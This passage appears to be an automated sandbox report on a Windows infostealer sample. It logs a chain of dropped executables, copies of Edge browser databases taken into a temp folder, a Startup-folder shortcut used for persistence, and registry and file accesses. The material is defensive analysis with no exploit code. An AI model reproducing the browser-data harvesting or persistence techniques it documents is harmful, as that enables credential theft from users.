Data\Default\shared_proto_db\metadata\000003.log]- [targetUID: 00000000-00001616] "b0ca2830e661136d_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\b0ca2830e661136d_0]- [targetUID: 00000000-00006748] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log]- [targetUID: 00000000-00001616] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension State\000003.log]- [targetUID: 00000000-00001616] "51c3af6d880b1017_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\51c3af6d880b1017_0]- [targetUID: 00000000-00006748] "Edge_Default.txt" has type "ASCII text"- Location: [%TEMP%\jobA3N197yiTuMlDC\Downloads\Edge_Default.txt]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG]- [targetUID: 00000000-00005152] "02ea902385a01b70_0" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Code Cache\js\02ea902385a01b70_0]- [targetUID: 00000000-00006748] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log]- [targetUID: 00000000-00001616] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension Scripts\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extension State\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Session Storage\LOG]- [targetUID: 00000000-00005152] "LOG" has type "ASCII text"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\shared_proto_db\LOG]- [targetUID: 00000000-00005152] "settings.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Crashpad\settings.dat]- [targetUID: 00000000-00005152] "cf22b46bf828aedc_0" has type "data"- [targetUID: N/A] "b650d3a74dcf2aec_0" has type "data"- [targetUID: N/A] "b6b2ca8cd17c7a3b_0" has type "data"- [targetUID: N/A] "31d094f3132c4365_0" has type "data"- [targetUID: N/A] "c1591fc5f7eaa98e_0" has type "data"- [targetUID: N/A] "a5a96d95234ad7a9_0" has type "data"- [targetUID: N/A] "def82937f35993b9_0" has type "data"- [targetUID: N/A] "9b818deec414afde_0" has type "data"- [targetUID: N/A] "1fed991dd8ff904d_0" has type "data"- [targetUID: N/A] "0f1363ea4f9274c5_0" has type "data"- [targetUID: N/A] "7ad6ddeb673e39fc_0" has type "data"- [targetUID: N/A] "519c23065abf7002_0" has type "data"- [targetUID: N/A] "d00b300cc8cfeb64_0" has type "data"- [targetUID: N/A] "dffe04354cd818ab_0" has type "data"- [targetUID: N/A] "ccb29c191e83ac56_0" has type "data"- [targetUID: N/A] "4b8660234992c768_0" has type "data"- [targetUID: N/A] "ecb5a1786e827a7e_0" has type "data"- [targetUID: N/A] "a2bbc0a75a50e1cb_0" has type "data"- [targetUID: N/A] "Last Browser" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Last Browser]- [targetUID: 00000000-00005152] "Variations" has type "JSON data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Variations]- [targetUID: 00000000-00005152] "000003.log" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log]- [targetUID: 00000000-00001616] ".ses" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "rise131M9Asphalt.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\rise131M9Asphalt.tmp]- [targetUID: 00000000-00005152] "Last Version" has type "ASCII text with no line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Last Version]- [targetUID: 00000000-00005152] "401fc6f5-e87e-4758-9e03-681df31c0792.tmp" has type "very short file (no magic)"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\401fc6f5-e87e-4758-9e03-681df31c0792.tmp]- [targetUID: 00000000-00006748] "Setup1234_1_.exe" has type "PE32+ executable (GUI) x86-64 (stripped to external PDB) for MS Windows"- [targetUID: N/A] "explorhe.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "4Ut851dI.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\4Ut851dI.exe]- [targetUID: 00000000-00004768] "2cD4503.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\IXP003.TMP\2cD4503.exe]- [targetUID: 00000000-00005152] "rise_1_.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "OfficeTrackerNMP131.exe.bin" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "OfficeTrackerNMP131.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%ALLUSERSPROFILE%\OfficeTrackerNMP131\OfficeTrackerNMP131.exe]- [targetUID: 00000000-00005152] "MaxLoonaFest131.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%LOCALAPPDATA%\MaxLoonaFest131\MaxLoonaFest131.exe]- [targetUID: 00000000-00005152] "ev_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "R83RL20231230.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "clip64_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "pAym89A8ml0Dplaces.sqlite" has type "SQLite 3.x database user version 52 last written using SQLite version 3025001"- Location: [%TEMP%\jobA4N197yiTuMlDC\pAym89A8ml0Dplaces.sqlite]- [targetUID: 00000000-00005152] "data_1" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1]- [targetUID: 00000000-00005152] "gBRFE7rWeOAvHistory" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4N197yiTuMlDC\gBRFE7rWeOAvHistory]- [targetUID: 00000000-00005152] "lzKDlpqOQxjJWeb Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4N197yiTuMlDC\lzKDlpqOQxjJWeb Data]- [targetUID: 00000000-00005152] "Web Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data]- [targetUID: 00000000-00005152] "d2YlZIu67X11Web Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4N197yiTuMlDC\d2YlZIu67X11Web Data]- [targetUID: 00000000-00005152]50:Tf1b,"ed102e1f-a1d1-4c20-87c3-a6e8431614a1.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 666042" - Location: [%TEMP%\ed102e1f-a1d1-4c20-87c3-a6e8431614a1.tmp] "707b6ca7-80dc-4e23-88dd-24d50b18d3e7.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 388020" - Location: [%TEMP%\707b6ca7-80dc-4e23-88dd-24d50b18d3e7.tmp] "e248dbf8-8c11-407d-9bba-df30a41e7820.tmp" has type "JSON data" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Ad Blocking\e248dbf8-8c11-407d-9bba-df30a41e7820.tmp] "af5f0f77-414c-41a1-a920-cf10ad9da80a.tmp" has type "JSON data" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\af5f0f77-414c-41a1-a920-cf10ad9da80a.tmp] "3cbb6d3c-3a07-4ac4-99d8-effa319b7246.tmp" has type "ASCII text with very long lines with no line terminators" "54c3a489-5e72-4637-9812-5451ec5f154e.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\54c3a489-5e72-4637-9812-5451ec5f154e.tmp] "832fd41a-c9ef-4827-ae12-3c5a5253d99d.tmp" has type "ASCII text with very long lines with no line terminators" "da205e83-c96c-4f66-ac3a-b34cbfeeef34.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\da205e83-c96c-4f66-ac3a-b34cbfeeef34.tmp] "3cd07d8d-a796-4b7c-a0c1-fd35282a29ee.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\3cd07d8d-a796-4b7c-a0c1-fd35282a29ee.tmp] "65c3d140-9938-4e5a-bc55-8ac5668f1f96.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\65c3d140-9938-4e5a-bc55-8ac5668f1f96.tmp] "7aa1e4bc-f613-41b4-aa34-6ac34eb74ff0.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\7aa1e4bc-f613-41b4-aa34-6ac34eb74ff0.tmp] "cf7789b0-e1f9-49fe-802c-c42d8e6fb2e2.tmp" has type "ASCII text with very long lines with no line terminators" "ba25a78f-bbc9-40a8-8f83-956794b8fa9a.tmp" has type "ASCII text with very long lines with no line terminators" "c0205369-869b-46a4-ab66-9247ecab92e6.tmp" has type "ASCII text with very long lines with no line terminators" "1ccaf6ad-244a-4c22-8de6-30adce8fb3ed.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\1ccaf6ad-244a-4c22-8de6-30adce8fb3ed.tmp] "141d6e94-fab0-4bec-84b2-7383eb273e9f.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\141d6e94-fab0-4bec-84b2-7383eb273e9f.tmp] "e4a43fe6-8c9b-4a05-ab98-f51ac551747f.tmp" has type "ASCII text with very long lines with no line terminators" "0e78dd14-69ce-4a87-b9f1-2ff6d7ec98bd.tmp" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 12260" - Location: [%TEMP%\0e78dd14-69ce-4a87-b9f1-2ff6d7ec98bd.tmp] "850668f6-b4a5-4ca2-a19c-f334c4cd5c53.tmp" has type "ASCII text with very long lines with no line terminators" "c8201b20-e002-4c7d-845a-a6d539306246.tmp" has type "ASCII text with very long lines with no line terminators" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\c8201b20-e002-4c7d-845a-a6d539306246.tmp] "7a1d8aaf-47d1-4093-a744-4ee4b591d768.tmp" has type "ASCII text with very long lines with no line terminators" "rise131M9Asphalt.tmp" has type "ASCII text with no line terminators" - Location: [%TEMP%\rise131M9Asphalt.tmp] "401fc6f5-e87e-4758-9e03-681df31c0792.tmp" has type "very short file (no magic)" - Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\401fc6f5-e87e-4758-9e03-681df31c0792.tmp]51:T64a,"3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")52:T434,"3a9c8dc060b839403dcfc8a72d29defd.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Lm3NB63.exe" (UID: 7404) "Lm3NB63.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Rb3sH52.exe" (UID: 5872) "Rb3sH52.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\cN5Rh86.exe" (UID: 4768) "cN5Rh86.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\1uT83YZ4.exe" (UID: 7136) "cN5Rh86.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\2cD4503.exe" (UID: 7136) "1uT83YZ4.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\1uT83YZ4.exe" (UID: 6960) "1uT83YZ4.exe" queries basic process information of the "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" (UID: 6960) "2cD4503.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\2cD4503.exe" (UID: 5152)53:Tc75,"3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "3A9C8DC060B839403DCFC8A72D29DEFD.EXE"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "3a9c8dc060b839403dcfc8a72d29defd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")54:T46b,"1uT83YZ4.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "1uT83YZ4.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "1uT83YZ4.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "1uT83YZ4.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "1uT83YZ4.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "1uT83YZ4.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "2cD4503.exe" touched file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "2cD4503.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk" "2cD4503.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "2cD4503.exe" touched file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk" "powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\CatRoot" "powershell.exe" touched file "\Device\HarddiskVolume2\Windows\System32\catroot2"55:Tc51,"3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\LM3NB63.EXE" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Lm3NB63.exe" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6DT0IT0.EXE" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\6dt0iT0.exe" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\CABINET.DLL" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\VERSION.DLL" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\FLTLIB.DLL" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\RB3SH52.EXE" "Lm3NB63.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Rb3sH52.exe" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5ID6CC5.EXE" "Lm3NB63.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\5id6CC5.exe" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\VERSION.DLL" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\CABINET.DLL" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\FLTLIB.DLL" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\CN5RH86.EXE" "Rb3sH52.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\cN5Rh86.exe" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4UT851DI.EXE" "Rb3sH52.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\4Ut851dI.exe" "cN5Rh86.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\WOW64LOG.DLL"56:T815,"3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\3A9C8DC060B839403DCFC8A72D29DEFD.EXE.LOCAL" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "3a9c8dc060b839403dcfc8a72d29defd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\LM3NB63.EXE.LOCAL" "Lm3NB63.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "Lm3NB63.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\RB3SH52.EXE.LOCAL" "Rb3sH52.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "Rb3sH52.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "cN5Rh86.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\CN5RH86.EXE.LOCAL" "cN5Rh86.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "cN5Rh86.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "1uT83YZ4.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\1UT83YZ4.EXE.LOCAL" "1uT83YZ4.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\UXTHEME.DLL.CONFIG" "1uT83YZ4.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\1uT83YZ4.exe.Local\" "2cD4503.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "2cD4503.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local"57:T408,"2cD4503.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4N197yiTuMlDC\OoIHRbvw39dc000004.log" "powershell.exe" writes a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log" "powershell.exe" writes a file "%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log" "2cD4503.exe" writes a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\load_statistics.db-wal" "2cD4503.exe" writes a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000004.log" "2cD4503.exe" writes a file "%TEMP%\jobA4N197yiTuMlDC\OoIHRbvw39dc000004.log" "2cD4503.exe" writes a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Session Storage\000004.log" "2cD4503.exe" writes a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG" "2cD4503.exe" writes a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG" "2cD4503.exe" writes a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Crashpad\settings.dat"58:T883,Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ProtocolVersion" in "rise.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "rise.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_Accept" in "rise.exe" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_Referer" in "rise.exe" Observed Namespace 